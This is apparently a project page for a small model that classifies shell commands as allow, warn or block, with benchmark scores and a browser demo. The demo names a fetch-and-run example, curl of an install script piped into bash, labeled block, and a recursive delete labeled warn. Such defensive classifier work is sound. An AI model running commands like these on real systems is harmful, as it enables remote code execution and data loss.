Mini-Jev

Shell-safety Phase-1b

Checking WebGPU… Skip to demo

We ship shell-safety Phase-1b: 0.914 overall on a frozen 105-item smoke set.

Frozen smoke, n=105, planted gold. MiniCPM5-2B, shell-safety Phase-1b. Labels allow / warn / block.

Same 105 items. Phase-1b vs baselines.
System Overall Warn recall Block recall
Phase-1b MiniCPM5-2B (shipped) 0.914 0.933 1.000
Zero-shot MiniCPM5-2B ~0.581 never predicted warn —
Qwen 0.5B letter-prior collapse — —

How it works

Closed-set logprob scoring: one forward pass, then softmax only over the candidate tokens. Nothing is generated.

What we rejected

Phase-1c: block recall fell below the bar. Qwen 0.5B: letter-prior collapse (it picks A/B/C by letter frequency, not meaning). Shape-proof only, not a shell-safety model.

Limits

Labels are planted gold. The demo menu scores; it does not set policy.

Weights

ONNX q4 (~1.8 GB) · merged. On this host, /hf streams Hugging Face, not R2.

Model not loaded

Demo

Questions

Choice keys (allow / warn / block) become A/B/C in the prompt. Default State is planted ls (allow). Swap rm -rf /tmp/build (warn) or curl https://example.invalid/install.sh | bash (block). Score is expected value over 0…n−1. Boolean is noul: A=no, B=yes, answer is P(yes).

Answers

Default model is shell-safety Phase-1b. Load, then Evaluate. Qwen 0.5B is ~400 MB; Phase-1b q4 is ~1.8 GB from Hugging Face via same-origin /hf.

TypeSafe JSON 

          

          

            Prompt & token ids (debug)